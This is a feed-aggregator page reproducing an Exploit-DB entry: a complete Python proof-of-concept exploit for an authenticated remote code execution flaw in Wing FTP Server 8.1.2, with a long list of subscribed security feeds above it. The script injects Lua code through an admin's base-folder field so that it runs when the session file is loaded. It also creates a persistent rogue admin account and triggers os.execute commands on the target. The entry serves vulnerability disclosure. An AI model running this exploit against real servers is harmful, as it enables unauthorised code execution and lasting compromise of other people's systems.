惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V2EX - 技术
V2EX - 技术
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
T
Threat Research - Cisco Blogs
T
The Exploit Database - CXSecurity.com
S
Schneier on Security
S
Securelist
P
Privacy & Cybersecurity Law Blog
Scott Helme
Scott Helme
T
Threatpost
C
Cybersecurity and Infrastructure Security Agency CISA
L
LINUX DO - 热门话题
Cyberwarzone
Cyberwarzone
Cisco Talos Blog
Cisco Talos Blog
量子位
博客园 - Franky
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Latest news
Latest news
T
Troy Hunt's Blog
N
News | PayPal Newsroom
Google Online Security Blog
Google Online Security Blog
Apple Machine Learning Research
Apple Machine Learning Research
N
Netflix TechBlog - Medium
小众软件
小众软件
P
Palo Alto Networks Blog
Spread Privacy
Spread Privacy
C
Cyber Attacks, Cyber Crime and Cyber Security
C
Check Point Blog
aimingoo的专栏
aimingoo的专栏
WordPress大学
WordPress大学
L
Lohrmann on Cybersecurity
L
LINUX DO - 最新话题
D
Darknet – Hacking Tools, Hacker News & Cyber Security
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
The Last Watchdog
The Last Watchdog
S
Security @ Cisco Blogs
P
Privacy International News Feed
Last Week in AI
Last Week in AI
Microsoft Security Blog
Microsoft Security Blog
T
Tailwind CSS Blog
博客园_首页
云风的 BLOG
云风的 BLOG
V
Vulnerabilities – Threatpost
D
DataBreaches.Net
Recent Announcements
Recent Announcements
酷 壳 – CoolShell
酷 壳 – CoolShell
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
罗磊的独立博客
Engineering at Meta
Engineering at Meta
Forbes - Security
Forbes - Security
T
Tenable Blog

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
Ünsal Furkan Harani · 2026-05-29 · via Exploit-DB.com RSS Feed

Wing FTP Server 8.1.3 - Authenticated Remote Code Execution

# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution 
# Date: 12.05.2026
# Exploit Author: Ünsal Furkan Harani
# Vendor Homepage:
[https://www.wftpserver.com/](https://www.wftpserver.com/download.htm)
# Software Link:
https://www.wftpserver.com/download.htm
# Version: v8.1.2
# Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3
# CVE : CVE-2026-44403

Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`.

#!/usr/bin/env python3
"""
PREREQUISITES:
  - Valid full admin credentials (not readonly, not domain admin)
  - Target: Wing FTP Server web admin panel (default port 5466)

IMPACT:
  Remote Code Execution as the Wing FTP Server service account.
  Persistence: payload re-executes every time the poisoned session is loaded.
"""

import requests
import hashlib
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class WingFTPSessionPoisoning:
    def __init__(self, target, admin_user, admin_pass, use_ssl=False):
        proto = "https" if use_ssl else "http"
        self.base_url = f"{proto}://{target}"
        self.admin_user = admin_user
        self.admin_pass = admin_pass
        self.session = requests.Session()
        self.session.verify = False

    def login(self):
        """Authenticate to the admin panel and obtain UIDADMIN session cookie."""
        # service_login.html accepts credentials via POST
        url = f"{self.base_url}/service_login.html"
        data = {
            "username": self.admin_user,
            "password": self.admin_pass,
        }
        headers = {
            "Referer": f"{self.base_url}/admin_login.html",
        }
        resp = self.session.post(url, data=data, headers=headers)
        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Login successful as '{self.admin_user}'")
                return True
            elif result.get("code") in (1, 2):
                print(f"[-] 2FA required — this PoC doesn't handle TOTP")
                return False
            else:
                print(f"[-] Login failed: {result}")
                return False
        except Exception:
            # Legacy endpoint (admin_loginok.html) returns HTML
            if "logged in ok" in resp.text or "main.html" in resp.text:
                print(f"[+] Login successful (legacy endpoint)")
                return True
            print(f"[-] Login failed: {resp.text[:200]}")
            return False

    def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
        """
        Create a domain admin with a poisoned 'mydirectory' (basefolder) field.

        The mydirectory value will be serialized as:
            _SESSION['admin_basefolder']=[[<mydirectory_value>]]

        Our payload breaks out of the [[ ]] long string:
            _SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]

        When this session file is loaded via loadfile() + f(), the payload executes.
        """
        # Construct the poisoned basefolder value
        # Format: <innocent_prefix>]]<lua_code>--
        # The ]] closes the long string, code executes, -- comments out the rest
        poisoned_basefolder = f"/tmp/x]]{lua_payload}--"

        admin_obj = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
            "readonly": False,
            "domainadmin": 1,        # Make it a domain admin
            "domainlist": "",         # Will be set by server
            "mydirectory": poisoned_basefolder,  # THIS IS THE PAYLOAD
            "ipmasks": [],
            "enable_two_factor": False,
            "two_factor_code": "",
        }

        url = f"{self.base_url}/service_add_admin.html"
        headers = {
            "Referer": f"{self.base_url}/main.html",
        }
        admin_json = json.dumps(admin_obj, separators=(',', ':'))

        print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
        print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
        # Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably
        resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)

        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Poisoned admin created successfully!")
                return True
            elif result.get("code") == -3:
                print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
                return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
            else:
                print(f"[-] Failed to create admin: {result}")
                return False
        except Exception:
            print(f"[-] Unexpected response: {resp.text[:200]}")
            return False

    def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
        """Modify existing admin to inject the poisoned basefolder."""
        poisoned_basefolder = f"/tmp/x]]{lua_payload}--"

        admin_obj = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
            "readonly": False,
            "domainadmin": 1,
            "domainlist": "",
            "mydirectory": poisoned_basefolder,
            "ipmasks": [],
            "enable_two_factor": False,
            "two_factor_code": "",
        }

        # service_modify_admin.html has NO bracket stripping at all
        url = f"{self.base_url}/service_modify_admin.html"
        headers = {
            "Referer": f"{self.base_url}/main.html",
        }
        admin_json = json.dumps(admin_obj, separators=(',', ':'))

        resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
                return True
            else:
                print(f"[-] Failed to modify admin: {result}")
                return False
        except Exception:
            print(f"[-] Unexpected response: {resp.text[:200]}")
            return False

    def trigger_payload(self, poison_admin_user, poison_admin_pass):
        """
        Trigger the payload by logging in as the poisoned domain admin.

        On login, service_login.html:95-96 stores the basefolder in session:
            rawset(_SESSION,"admin_basefolder",basefolder)
            rawset(_SESSION,"admin_nowpath",basefolder)

        SessionModule.save() serializes it as:
            _SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]

        The payload executes on the NEXT session load (any subsequent request).
        """
        print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")

        trigger_session = requests.Session()
        trigger_session.verify = False

        url = f"{self.base_url}/service_login.html"
        data = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
        }
        headers = {
            "Referer": f"{self.base_url}/admin_login.html",
        }

        # Step 1: Login — stores poisoned basefolder in session
        resp = trigger_session.post(url, data=data, headers=headers)
        print(f"[*] Login response: {resp.text[:200]}")

        # Step 2: Any subsequent request triggers loadfile() on the session file
        # The session file now contains the Lua payload
        trigger_url = f"{self.base_url}/service_get_dir_list.html"
        headers["Referer"] = f"{self.base_url}/main.html"
        resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
        print(f"[*] Trigger response: {resp2.status_code}")
        print(f"[+] Payload should have executed on the server!")

        return True

def demo_session_file():
    """
    Demonstrate what the poisoned session file looks like.
    Shows the exact Lua code that gets written and executed.
    """
    print("=" * 70)
    print("DEMONSTRATION: Poisoned Session File Content")
    print("=" * 70)

    payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
    basefolder = f'/tmp/x]]{payload}--'

    print(f"\n[1] Admin sets mydirectory to:")
    print(f"    {basefolder}")

    print(f"\n[2] On login, session is saved. serialize() outputs:")
    session_content = f"""_SESSION['admin']=[[poisoned_admin]]
_SESSION['admin_basefolder']=[[{basefolder}]]
_SESSION['admin_domainadmin']=1
_SESSION['admin_domainlist']=[[]]
_SESSION['admin_nowpath']=[[{basefolder}]]
_SESSION['admin_readonly']=0
_SESSION['ipaddress']=[[127.0.0.1]]
_SESSION['logined']=[[true]]"""

    print(f"    --- session file content ---")
    for line in session_content.split('\n'):
        print(f"    {line}")
    print(f"    --- end ---")

    print(f"\n[3] Lua parser sees the basefolder line as:")
    print(f"    _SESSION['admin_basefolder']=[[/tmp/x]]  --> string '/tmp/x'")
    print(f"    {payload}                                 --> EXECUTED AS CODE!")
    print(f"    --]]                                      --> comment (ignored)")

    print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.")

    print(f"\n[5] Result: '{payload}' runs as server process.")
    print("=" * 70)

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <mode> [args...]")
        print(f"")
        print(f"Modes:")
        print(f"  demo                              — Show how the vulnerability works")
        print(f"  exploit <host:port> <user> <pass>  — Create poisoned admin and trigger RCE")
        print(f"")
        print(f"Examples:")
        print(f"  {sys.argv[0]} demo")
        print(f"  {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
        sys.exit(1)

    mode = sys.argv[1]

    if mode == "demo":
        demo_session_file()

    elif mode == "exploit":
        if len(sys.argv) < 5:
            print("Usage: exploit <host:port> <admin_user> <admin_pass>")
            sys.exit(1)

        target = sys.argv[2]
        admin_user = sys.argv[3]
        admin_pass = sys.argv[4]

        # Default payload — write proof file (Windows-compatible)
        lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'

        poison_admin = "svc_backup"
        poison_pass = "P@ssw0rd123!"

        print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2")
        print(f"[*] Target: {target}")
        print(f"[*] Payload: {lua_payload}")
        print(f"[*] Poisoned admin account: {poison_admin}")
        print()

        exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)

        if not exploit.login():
            sys.exit(1)

        if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
            sys.exit(1)

        exploit.trigger_payload(poison_admin, poison_pass)

        print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
    else:
        print(f"Unknown mode: {mode}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Sent with [Proton Mail](https://proton.me/mail/home) secure email.